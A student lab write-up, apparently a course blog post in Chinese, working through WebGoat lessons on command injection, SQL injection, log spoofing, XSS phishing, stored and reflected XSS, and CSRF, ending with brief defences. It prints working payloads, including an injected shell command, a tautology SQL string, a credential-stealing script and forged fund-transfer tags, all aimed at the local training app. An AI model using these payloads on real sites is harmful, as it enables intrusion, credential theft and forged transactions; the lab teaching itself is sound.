2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础

2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础

目录

实验内容与步骤

实验过程中遇到的问题

基础问题回答

实验总结与体会

实验内容与步骤

(一)Webgoat安装

  • WebGoat是OWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。
  • 我们直接到该链接去下载:webgoat-container-7.0.1-war-exec.jar,这个jar包似乎有一点问题。。。下的时候下了好几次,浏览器还崩了一次,原因也不清楚。总之在网络好的时候多点耐心就能下成功。
  • 之后直接共享到虚拟机实验目录下
  • 使用命令java -jar webgoat-container-7.0.1-war-exec.jar打开Wengoat,当显示信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,可以看到占用8080端口,实验过程中不能关闭终端
  • 在浏览器中输入http://localhost:8080/WebGoat进入Webgoat登陆界面,直接使用界面提供的任意一组用户名、密码登陆即可。

返回目录

(二)SQL注入攻击

1.命令注入(Command Injection)

  • 技术概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
  • 操作步骤
    • 点击Injection Flaws-Command Injection

    • 右键点击AccessControlMatrix.help复选框,选择inspect Element审查网页元素对源代码进行修改,在图中末尾添加"& netstat -an & ipconfig"

    • 点击view查看网络端口使用情况和 IP 地址,攻击成功

2.字符串型输入(Command Injection)

  • 技术概念:SQL 注入攻击对任何一个以数据库作为驱动的站点来说都是一个严重威胁。攻击者可以在没有密码的情况下查看数据库内容。
  • 技术原理:基于以下查询语句构造自己的 SQL 注入字符串。
    SELECT * FROM user_data WHERE last_name = '?'
  • 操作步骤:
    • 点击Injection Flaws-String SQL Injection
    • 输入查询的用户名Smith' or 1=1--,这使得查询语句变为: SELECT * FROM user_data WHERE last_name = 'Smith' or 1=1--',其中--为注释符,即此式为永真式。

3.日志欺骗(Log Spoofing)

  • 技术原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。攻击者可以修改日志内容,甚至将脚本写入日志中,脚本的返回信息管理员能够通过浏览器看到。
  • 操作步骤:
    • 点击Injection Flaws-Log Spoofing

    • 在文本框中输入用户名:Smith Login Succeeded for username admin

    • 网页会返回错误值:Login failed for username:smith Login Succeeded for username admin

    • 但如果,我们在User Name中填入Smith%0d%0aLogin Succeeded for username: admin,利用回车符0D%换行符%0A让其在日志中两行显示,随意输入密码,点击login

    • 可以看到日志中我们用admin登录成功了。

    • 如果在用户名处输入脚本又会怎么样呢?

      • 在用户名中输入admin <script>alert(document.cookie)</script>,管理员可以看到弹窗的cookie信息.

返回目录

(三)XSS攻击

1.跨站脚本钓鱼攻击(Phishing with XSS)

  • 技术原理:在服务端对所有输入进行验证总是不错的做法。当用户输入非法 HTTP 响应时容易造成XSS。在XSS的帮助下,您可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
  • 操作步骤
    • 利用XSS可以在已存在的页面中进一步添加元素,该解决方案包括两部分,我们需要结合起来使用:
      • 受害人填写一个表格;
      • 以读取脚本的形式,将收集到的信息发送给攻击者。
    • 编写一个带用户名和密码输入框的表格
    <form>
    <br><br><HR><H3>This feature requires account login:</H3 ><br><br> 
    Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> 
    </form><br><br><HR>
    
    • 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
    <script> 
    function hack()
    { 
        alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); 
        XSSImage=new Image; 
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
    }
    </script>
    
    • 将以上两段代码合并,在XSS-Phishing with XSS搜索这段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录, WebGoat 会将输入的信息捕获并反馈回来

2.存储型XSS攻击(Stored XSS Attacks)

  • 技术原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
  • 操作步骤:
    • 在title中任意输入字符,留言板中输入<script>alert("You've been attacked!!!");</script> ,submit提交
    • 点击message list中的链接,弹出信息

3.反射型XSS攻击(Reflected XSS Attacks)

  • 技术原理:在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
  • 操作步骤:
    • 输入代码<script>alert("You've been attacked!!!");</script>,点击purse的同时页面就给出了反馈

返回目录

(四)CSRF攻击

  • 在操作之前先来了解一下什么是cookie
  • Cookie,有时也用其复数形式Cookies,指某些网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)。简单来说就是用来存储客户端的状态的一个东西。

1.跨站请求伪造Cross Site Request Forgery

  • 技术原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如下代码所示:
<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>

当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。

  • 操作步骤:
    • 查看页面右侧Parameters中的src和menu值,分别为268和900
    • 在title中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=268&menu=900&transferFunds=5000" width="1" height="1" />,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
    • 在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

2.绕过 CSRF 确认(CSRF Prompt By‐Pass)

  • 技术原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
  • 操作步骤:
    • 查看页面右侧Parameters中的src和menu值分别为274和900
    • 在title框中输入任意值,message框中输入代码:
    <iframe src="attack?Screen=274&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=274&menu=900&transferFunds=CONFIRM"> </iframe>
    
    • 提交以后点击title链接

返回目录

实验过程中遇到的问题

  • 在2019kali环境下安装webgoat时,打开网页以后显示不出课程内容,换成2018kali以后就没问题了。

基础问题回答

(1)SQL注入攻击原理,如何防御

  • 原理:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
  • 防御:
    • 注意检查输入的特殊字符串
    • 数据库中敏感数据不要明文存储
    • 输入错误的异常提示应当返回尽量少的信息

(2)XSS攻击的原理,如何防御

  • 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
  • 防御:
    • 检查表单提交字符串,例如检查到javascript就判定为xss攻击
    • 在表单提交或者url参数传递前,对需要的参数进行过滤

(3)CSRF攻击原理,如何防御

  • 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
  • 防御:
    • 对于每一个重要的post提交页面,都使用一个验证码
    • 用户在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。

返回目录

实验总结与体会

本次实验在webgoat上操作起来很简单,理解起来却很不容易,参考了webgoat中文手册cookie相关知识点完成了实验,感觉要想理解得更透彻还需要深入地研究才行。

posted @ 2019-05-26 16:15  icream  阅读(168)  评论(0编辑  收藏  举报